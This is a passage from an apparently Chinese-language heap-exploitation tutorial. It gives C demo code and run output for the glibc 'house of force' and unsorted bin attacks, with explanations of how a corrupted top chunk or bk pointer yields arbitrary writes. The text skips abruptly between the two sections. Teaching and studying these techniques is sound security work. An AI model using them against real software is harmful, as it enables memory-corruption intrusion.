fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}
```
```
$ gcc -g house_of_force.c
$ ./a.out
We will overwrite a variable at 0x601080
Let's allocate the first chunk of 0x10 bytes: 0x824010.
Real size of our allocated chunk is 0x18.
Overwriting the top chunk size with a big value so the malloc will never call mmap.
Old size of top chunk: 0x20fe1
New size of top chunk: 0xffffffffffffffff
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x824030
malloc(0x30) => 0x601080!
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
old string: This is a string that we want to overwrite.
new string: YEAH!!!
```
house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处，必然存在一块空闲的 chunk，即 top chunk，当 bins 和 fast bins 都不能满足分配需要的时候，malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞，可以改写 top chunk 的头部，然后将其改为一个非常大的值，以确保所有的 malloc 将使用 top chunk 分配，而不会调用 mmap。
首先随意分配一个 chunk，此时内存里存在两个 chunk，即 chunk 1 和 top chunk：
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
free(p);
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
p[1] = (unsigned long)(&stack_var - 2);
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
malloc(0x80);
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
}
```
unsorted bin 攻击通常是为更进一步的攻击做准备的，我们知道 unsorted bin 是一个双向链表，在分配时会通过 unlink 操作将 chunk 从链表中移除，所以如果能够控制 unsorted bin chunk 的 bk 指针，就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中，从而导致信息泄漏，为进一步的攻击提供便利。
